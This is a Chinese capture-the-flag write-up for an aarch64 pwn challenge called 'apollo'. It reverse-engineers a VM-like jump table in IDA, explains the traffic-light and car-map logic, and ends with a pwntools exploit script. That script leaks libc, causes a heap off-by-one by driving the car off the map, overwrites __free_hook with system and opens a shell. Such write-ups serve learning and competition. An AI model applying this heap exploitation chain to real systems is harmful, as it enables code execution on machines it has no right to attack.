逆向依旧菜,arm依旧菜,轩哥的wp依旧细,,参考轩哥的博客撸一撸aarch64汇编
apollo
hint:漏洞点在于车辆前方的绿灯或黄灯的转化,使车辆到达了地图外
例行检查
静态分析
ida打开发现有很多函数
找到一个sub_D04
调用了三个setvbuf
,x查看交叉引用
继续查看sub_2678
函数的交叉引用
可以看到直接出现在got表里面了,并且被start
函数引用
所以猜测sub_2678
这个函数是main函数
而其中调用的第二个函数sub_DA8
是输出一些字符串,不重要
看sub_25CC
中
申请0x1000大小的堆内存保存在qword_14078
地址处,并往堆里写数据
主要看sub_E14
函数
这里查看汇编
是由于最后的
.text:0000000000000ED0 loc_ED0 ; CODE XREF: sub_E14+A0↑j
.text:0000000000000ED0 ; sub_E14+200↓j ...
.text:0000000000000ED0 BR X0
也就是伪代码中的JUMPOUT
,ida直接识别了一部分就停止了,但是实际这个函数并不只有这些逻辑
对这个函数进行逆向分析
.text:0000000000000E14 STP X29, X30, [SP,#var_C0]!
.text:0000000000000E18 MOV X29, SP
.text:0000000000000E1C STR X19, [SP,#0xC0+var_B0]
保存调用函数栈帧信息,需要注意的是aarch64的栈结构与x86有所不同
ARM64平台上的栈帧寄存器是FP,它记录的是一个函数执行过程中的栈顶(FP=SP),并且把父函数的FP保存在堆栈的栈顶,以便于回溯
.text:0000000000000E20 ADRP X0, #__stack_chk_guard_ptr@PAGE
.text:0000000000000E24 LDR X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000E28 LDR X1, [X0]
.text:0000000000000E2C STR X1, [X29,#0xC0+var_8]
.text:0000000000000E30 MOV X1, #0
这部分并不重要,是初始化canary之类的操作
主要看下面
.text:0000000000000E34 ADRP X0, #off_14010@PAGE
.text:0000000000000E38 ADD X1, X0, #off_14010@PAGEOFF
What are @PAGE and @PAGEOFF symbols in IDA?
The ADRP instruction loads the address of the 4KB page anywhere in the +/-4GB (33 bits) range of the current instruction (which takes 21 high bits of the offset). this is denoted by the
@PAGE
operator. then, we can either useLDR
orSTR
to read or write any address inside that page orADD
to to calculate the final address using the remaining 12 bits of the offset (denoted by@PAGEOFF
).
也就是说ADRP指令是将off_14010
地址处的低33bits加上pc的值保存到X0寄存器中,而之后的ADD指令将off_14010
偏移处剩余的高12bits与X0中的值相加保存到X1寄存器中
off_14010
地址处保存的是一个地址列表,而此时X1中保存的应该是off_14010
这个地址
.text:0000000000000E3C ADD X0, X29, #0x58
.text:0000000000000E40 LDP X2, X3, [X1]
.text:0000000000000E44 STP X2, X3, [X0]
.text:0000000000000E48 LDP X2, X3, [X1,#0x10]
.text:0000000000000E4C STP X2, X3, [X0,#0x10]
.text:0000000000000E50 LDP X2, X3, [X1,#0x20]
.text:0000000000000E54 STP X2, X3, [X0,#0x20]
.text:0000000000000E58 LDP X2, X3, [X1,#0x30]
.text:0000000000000E5C STP X2, X3, [X0,#0x30]
.text:0000000000000E60 LDP X2, X3, [X1,#0x40]
.text:0000000000000E64 STP X2, X3, [X0,#0x40]
.text:0000000000000E68 LDP X1, X2, [X1,#0x50]
.text:0000000000000E6C STP X1, X2, [X0,#0x50]
X29寄存器是帧指针寄存器(FP),差不多是x86下bp寄存器的作用,所以这里实际上就是取X1中地址处保存的指针保存到栈上与X29偏移0x58的位置
.text:0000000000000E70 ADRP X0, #off_13F98@PAGE
.text:0000000000000E74 LDR X0, [X0,#off_13F98@PAGEOFF]
.text:0000000000000E78 LDR X0, [X0]
又是ADRP指令,直接将off_13F98
地址处的数据加载到了X0寄存器中
而off_13F98
地址处的数据就是保存堆地址的指针qword_14078
,所以执行完第二个LDR,X0中保存的是存放用户输入数据的堆地址
.text:0000000000000E7C STR X0, [X29,#0xC0+var_78]
.text:0000000000000E80 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000E84 STR X0, [X29,#0xC0+var_70]
.text:0000000000000E88 LDR X0, [X29,#0xC0+var_78]
将堆地址保存到 与X29偏移0xC0-0x78处
.text:0000000000000E8C LDRB W0, [X0]
.text:0000000000000E90 MOV W1, W0
取用户输入的数据保存在W1(X1的低4bytes)中
.text:0000000000000E94 ADRP X0, #off_13FE8@PAGE
.text:0000000000000E98 LDR X0, [X0,#off_13FE8@PAGEOFF]
又是ADRP指令,直接将off_13FE8
地址处的数据加载到了X0寄存器中
也就是dword_3770
指针,此处保存的是一个int数组
.text:0000000000000E9C SXTW X1, W1
SXTW将目标操作数低32bits赋值给源操作数,此时X0中是上面数组的地址,X1中是用户输入数据第一个字节
.text:0000000000000EA0 LDR W0, [X0,X1,LSL#2]
.text:0000000000000EA4 SXTW X0, W0
将X1中数据左移2位(乘4,int类型数组)后,加上X0中的数据作为地址,取该地址的值到X0中
其实就是将用户输入的数据作为下标取dword_3770
数组中的元素
.text:0000000000000EA8 LSL X0, X0, #3
.text:0000000000000EAC ADD X1, X29, #0x58
.text:0000000000000EB0 LDR X0, [X1,X0]
.text:0000000000000EB4 B loc_ED0
.text:0000000000000EB8 ; ---------------------------------------------------------------------------
... ...
.text:0000000000000ED0 ; ---------------------------------------------------------------------------
.text:0000000000000ED0
.text:0000000000000ED0 loc_ED0 ; CODE XREF: sub_E14+A0↑j
.text:0000000000000ED0 ; sub_E14+200↓j ...
.text:0000000000000ED0 BR X0
将X0中的数据左移3位(地址长度为8),作为 与X29偏移0x58处的跳转表 的下标,BR指令跳转到对应地址
其实就是伪代码中的
JUMPOUT(__CS__, *(&v0 + dword_3770[*(unsigned __int8 *)qword_14078]));
由于跳转指令并不是BL系列的指令,所以跳转前后实际在一个函数里,没有栈帧的变化
整个程序类似于一种虚拟机结构,按照用户输入执行相应的代码
可以找出用户输入的指令对应的代码地址
0x0 : :sub_2550
0x2a:*:sub_1018
0x2b:+:sub_1394
0x2d:-:sub_14D4
0x2f:/:sub_11F4
0x4d:M:loc_EB8
0x61:a:sub_1D10
0x64:d:sub_2080
0x70:p:sub_2400
0x73:s:sub_1990
0x77:w:sub_1620
再逐一分析各个地址的代码
可以发现每个跳转地址都会先判断dword_14098
这个全局变量有没有被赋值,如果全局变量dword_14098
为0的话会报错,而查看这个全局变量的交叉引用可以发现在sub_E14
中被赋值
但是其实真正赋值的地方在loc_EB8
的逻辑里(这里ida将跳转表的其他地址识别为函数,但是没有将loc_EB8
识别为函数,但是其实所有的跳转地址都不是单独的函数),而这部分并没有被ida识别出c伪代码
查看loc_EB8
的汇编
没有被ida识别出c伪代码的原因应该是loc_ED0
处通过X0来跳转,ida不知道X0的值,所以认为并没有跳转loc_EB8
的代码
.text:0000000000000EB8 loc_EB8 ; DATA XREF: .data:off_14010↓o
.text:0000000000000EB8 ADRP X0, #off_13F90@PAGE
.text:0000000000000EBC LDR X0, [X0,#off_13F90@PAGEOFF]
.text:0000000000000EC0 LDR W0, [X0]
将off_13F90
处的指针指向的地址处的值(全局变量dword_14098
)加载到W0中
.text:0000000000000EC4 CMP W0, #0
.text:0000000000000EC8 B.NE loc_2564
如果全局变量dword_14098
不为0则跳转loc_2564
,否则继续
结合其他函数中判断该值是否为0,说明用户输入必须控制程序先跳转到loc_EB8
,并且这里只能执行一次
.text:0000000000000ECC B loc_ED4
.text:0000000000000ED0 ; ---------------------------------------------------------------------------
... ...
.text:0000000000000ED4 ; ---------------------------------------------------------------------------
.text:0000000000000ED4
.text:0000000000000ED4 loc_ED4 ; CODE XREF: sub_E14+B8↑j
.text:0000000000000ED4 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000ED8 ADD X0, X0, #1
.text:0000000000000EDC LDRB W0, [X0]
.text:0000000000000EE0 MOV W1, W0
继续执行则跳转到loc_ED4
,加载X29的偏移0xC0-0x78处的数据到X0,结合上面的分析,这里X0得到的其实就是保存用户输入的堆地址,加1后取出第二个字节,存放在W1
.text:0000000000000EE4 ADRP X0, #off_13FD8@PAGE
.text:0000000000000EE8 LDR X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000EEC STR W1, [X0]
将其存放在off_13FD8
指针指向的全局变量dword_1409C
中
.text:0000000000000EF0 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000EF4 ADD X0, X0, #2
.text:0000000000000EF8 LDRB W0, [X0]
.text:0000000000000EFC MOV W1, W0
.text:0000000000000F00 ADRP X0, #off_13F68@PAGE
.text:0000000000000F04 LDR X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F08 STR W1, [X0]
与上面操作相同,取用户输入的第三个字节存放在off_13F68
指针指向的全局变量dword_140A0
中
.text:0000000000000F0C ADRP X0, #off_13FD8@PAGE
.text:0000000000000F10 LDR X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000F14 LDR W0, [X0]
.text:0000000000000F18 CMP W0, #0x10
.text:0000000000000F1C B.GT loc_256C
如果off_13FD8
指针指向的全局变量dword_1409C
大于0x10则跳转loc_2564
,否则继续
.text:0000000000000F20 ADRP X0, #off_13F68@PAGE
.text:0000000000000F24 LDR X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F28 LDR W0, [X0]
.text:0000000000000F2C CMP W0, #0x10
.text:0000000000000F30 B.GT loc_256C
如果off_13F68
指针指向的全局变量dword_140A0
大于0x10则跳转loc_2564
,否则继续
.text:0000000000000F34 ADRP X0, #off_13FD8@PAGE
.text:0000000000000F38 LDR X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000F3C LDR W0, [X0]
.text:0000000000000F40 CMP W0, #3
.text:0000000000000F44 B.LE loc_256C
如果off_13FD8
指针指向的全局变量dword_1409C
小于等于3则跳转loc_2564
,否则继续
.text:0000000000000F48 ADRP X0, #off_13F68@PAGE
.text:0000000000000F4C LDR X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F50 LDR W0, [X0]
.text:0000000000000F54 CMP W0, #3
.text:0000000000000F58 B.LE loc_256C
如果off_13F68
指针指向的全局变量dword_140A0
小于等于3则跳转loc_2564
,否则继续
而全局变量dword_1409C
和dword_140A0
是之前取得的用户输入数据的第二和第三个字节
所以这里如果要正常执行而不用跳转到loc_256C
,需要满足
dword_14098 != 0
0x10 >= input[1] > 0x3
0x10 >= input[2] > 0x3
-
如果条件满足,继续运行
.text:0000000000000F5C ADRP X0, #off_13FD8@PAGE .text:0000000000000F60 LDR X0, [X0,#off_13FD8@PAGEOFF] .text:0000000000000F64 LDR W1, [X0] .text:0000000000000F68 ADRP X0, #off_13F68@PAGE .text:0000000000000F6C LDR X0, [X0,#off_13F68@PAGEOFF] .text:0000000000000F70 LDR W0, [X0] .text:0000000000000F74 MADD W0, W1, W0, WZR .text:0000000000000F78 SXTW X0, W0
将全局变量
dword_1409C
和dword_140A0
中的值相乘,结果存放在X0寄存器中.text:0000000000000F7C MOV X1, #1 .text:0000000000000F80 BL .calloc .text:0000000000000F84 MOV X1, X0 .text:0000000000000F88 ADRP X0, #off_13F80@PAGE .text:0000000000000F8C LDR X0, [X0,#off_13F80@PAGEOFF] .text:0000000000000F90 STR X1, [X0]
调用
calloc(dword_1409C * dword_140A0, 1);
,返回值放在off_13F80
指针指向的全局变量dword_14088
中.text:0000000000000F94 ADRP X0, #off_13FD8@PAGE .text:0000000000000F98 LDR X0, [X0,#off_13FD8@PAGEOFF] .text:0000000000000F9C LDR W1, [X0] .text:0000000000000FA0 ADRP X0, #off_13F68@PAGE .text:0000000000000FA4 LDR X0, [X0,#off_13F68@PAGEOFF] .text:0000000000000FA8 LDR W0, [X0] .text:0000000000000FAC MADD W0, W1, W0, WZR .text:0000000000000FB0 SXTW X0, W0 .text:0000000000000FB4 MOV X1, #1 .text:0000000000000FB8 BL .calloc .text:0000000000000FBC MOV X1, X0 .text:0000000000000FC0 ADRP X0, #off_13FF0@PAGE .text:0000000000000FC4 LDR X0, [X0,#off_13FF0@PAGEOFF] .text:0000000000000FC8 STR X1, [X0]
同上,调用
calloc(dword_1409C * dword_140A0, 1);
,返回值放在off_13FF0
指针指向的全局变量qword_14090
中.text:0000000000000FCC ADRP X0, #off_13F90@PAGE .text:0000000000000FD0 LDR X0, [X0,#off_13F90@PAGEOFF] .text:0000000000000FD4 MOV W1, #1 .text:0000000000000FD8 STR W1, [X0]
将全局变量
dword_14098
置为1,之后就可以正常跳转到跳转表上的其他地址了.text:0000000000000FDC LDR X0, [X29,#0xC0+var_78] .text:0000000000000FE0 ADD X0, X0, #3 .text:0000000000000FE4 STR X0, [X29,#0xC0+var_78] .text:0000000000000FE8 LDR X0, [X29,#0xC0+var_78] .text:0000000000000FEC LDRB W0, [X0] .text:0000000000000FF0 MOV W1, W0
将用户输入的第四个字节地址保存到 与X29偏移0xC0-0x78处,并取第四个字节到W1中
.text:0000000000000FF4 ADRP X0, #off_13FE8@PAGE .text:0000000000000FF8 LDR X0, [X0,#off_13FE8@PAGEOFF] .text:0000000000000FFC SXTW X1, W1 .text:0000000000001000 LDR W0, [X0,X1,LSL#2] .text:0000000000001004 SXTW X0, W0 .text:0000000000001008 LSL X0, X0, #3 .text:000000000000100C ADD X1, X29, #0x58 .text:0000000000001010 LDR X0, [X1,X0] .text:0000000000001014 B loc_ED0 .text:0000000000001014 ; End of function sub_E14
重新取用户输入的数据跳转到跳转表中对应的地址
-
而上面条件判断未通过的话则要跳转到
loc_256C
退出程序.text:000000000000256C loc_256C ; CODE XREF: sub_E14+108↑j .text:000000000000256C ; sub_E14+11C↑j ... .text:000000000000256C NOP .text:0000000000002570 B loc_25B8 ... .text:00000000000025B8 loc_25B8 ; CODE XREF: sub_E14+1754↑j .text:00000000000025B8 ; sub_E14+175C↑j ... .text:00000000000025B8 ADRP X0, #unk_3BC8@PAGE .text:00000000000025BC ADD X0, X0, #unk_3BC8@PAGEOFF .text:00000000000025C0 BL .puts .text:00000000000025C4 MOV W0, #0xFF .text:00000000000025C8 BL .exit
如果要看loc_EB8
的伪代码的话,则要从loc_EB8
分离出来单独创建一个函数
在分析的时候,由于aarch64的X29寄存器指向栈的低地址,变量存放在相对X29的高地址中,所以可以按照栈结构创建相应的结构体
右键单击表示X29的变量,选择Create new struct type
在弹出的窗口中编辑结构体
struct struct_v0
{
int a[18];
size_t input;
size_t b;
size_t func_M;
size_t func_mul;
size_t func_div;
size_t func_add;
size_t func_sub;
size_t func_w;
size_t func_s;
size_t func_a;
size_t func_d;
size_t func_p;
size_t func_finish;
size_t sub2514;
};
在其他被识别成函数的地方可以右键单击表示X29的变量,选择convert to struct *
将变量设置为该结构体的指针
之后ida伪代码变成这种风格
就好分析多了
经过分析,程序的逻辑应该是loc_EB8
分配两个地图空间,qword_14088
是灯和车所在的地图,然后”+-*/”在地图上布置红绿灯(0、1、2、3)、”wsad”控制汽车移动,在qword_14088
地图上车所在的坐标处值为5,qword_14090
地图上则会留下汽车移动的痕迹,移动前先判断qword_14088
地图中相应方向上的灯颜色(数字)
- 0则走一格
- 1则不走,在
qword_14090
地图中汽车对应位置处保存dword_14080
的值,dword_14080
自增 - 2或3则走2格
一些全局变量的意义
- 全局变量
qword_140B0
维护一个0x800大小的数组,用于存放malloc分配的堆地址 - 全局变量
dword_14088
和qword_14090
中保存两个地图 - 全局变量
dword_1409C
和dword_140A0
中存放的应该分别是地图纵向和横向大小 - 全局变量
dword_140A4
和dword_140A8
保存汽车所在位置的纵坐标y和横坐标x
一些跳转表中地址的作用
- mul功能是malloc分配堆地址到
qword_140B0
控制的数组中,并在dword_14088
地图中相应位置置1 - div功能是free释放
qword_140B0
数组中的堆地址,并在qword_14088
地图中相应位置置0 - add功能是将
qword_14088
地图中指定位置的1改为2或3 - sub功能是将
qword_14088
地图中指定位置的2或3改为0 - wsad即按照规则移动汽车
- p功能是将
dword_14088
地图中为1的地方对应的qword_140B0
中保存的堆空间的内容输出
按照hint,在地图边缘布置一个2或3可以让车辆到达地图外造成堆溢出
所以思路应该是先用p功能泄露堆块中残留的libc地址,然后由汽车移动造成off-by-one,构造重叠堆块,实现任意地址分配改free_hook
动态调试
之后才想到在vmmap用不了的情况下,可以通过cat /proc/$PID/maps
查看程序运行时的地址情况
在比赛时甚至不知道怎么下断点,赛后问了轩哥才知道qemu用户模式的程序基址是固定的
-
qemu-user运行时基址
0x4000000000
-
qemu-user运行时堆地址固定,可以在malloc或free下断点得到
-
程序有
alarm
函数,在一段时间后会终止进程,可以用ida将其patch掉arm是定长指令集,在弹出的窗口中将前四个字节改成nop
应用到文件中
方便调试
写exp
#!/usr/bin/python
from pwn import *
import sys
import time
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='apollo'
libc_name='libc-2.27.so'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p = process(["qemu-aarch64-static", "-L", "./", "./"+binary_name])
#p = process(argv=["qemu-aarch64-static", "-L", "./", "-g", "1234", "./"+binary_name])
else:
p=remote('',)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
pd = '\x4d\x10\x10'
pd += '*\x00\x01\xf0\x04'#add 1
pd += '*\x00\x03\xf0\x00'#add 3
pd += '/\x00\x01'
pd += '*\x00\x01\xf0\x00'#add 1
pd += '*\x00\x02\xf0\x00'#add 2
pd += 'p'
pd += '+\x0f\x08\x02'
pd += 'd'*0xb
pd += 's'*0xe
pd += 'd'*0x8
pd += 'sw'
pd += '/\x00\x01'
pd += '/\x00\x02'
pd += '*\x00\x01\x10\x01'#add 1
pd += '*\x00\x02\xf0\x00'#add 2
pd += '*\x00\x04\xf0\x00'#add hook
pd += '/\x00\x02'
sla('cmd> ',pd)
sd('X1ng\n')
time.sleep(0.1)
sd('X3ng\n')
time.sleep(0.1)
sd('\xd0')
time.sleep(0.1)
sd('a'*0x10+p64(0)+p64(0x21))
time.sleep(0.1)
ru('pos:0,1\n')
libc_base = (u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) | 0x4000000000) - 0x154fd0
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.success('libc_base:' + hex(libc_base))
log.success('system:' + hex(system))
log.success('__free_hook:' + hex(free_hook))
sd('b'*0xf8+p64(0x101)+p64(free_hook)+'b'*0x8)
time.sleep(0.1)
sd('/bin/sh\x00'+'c'*(0xf0-8))
time.sleep(0.1)
sd(p64(system))
time.sleep(0.1)
ia()
据说quiet附件换了,就不搞了(懒狗不想动了
参考资料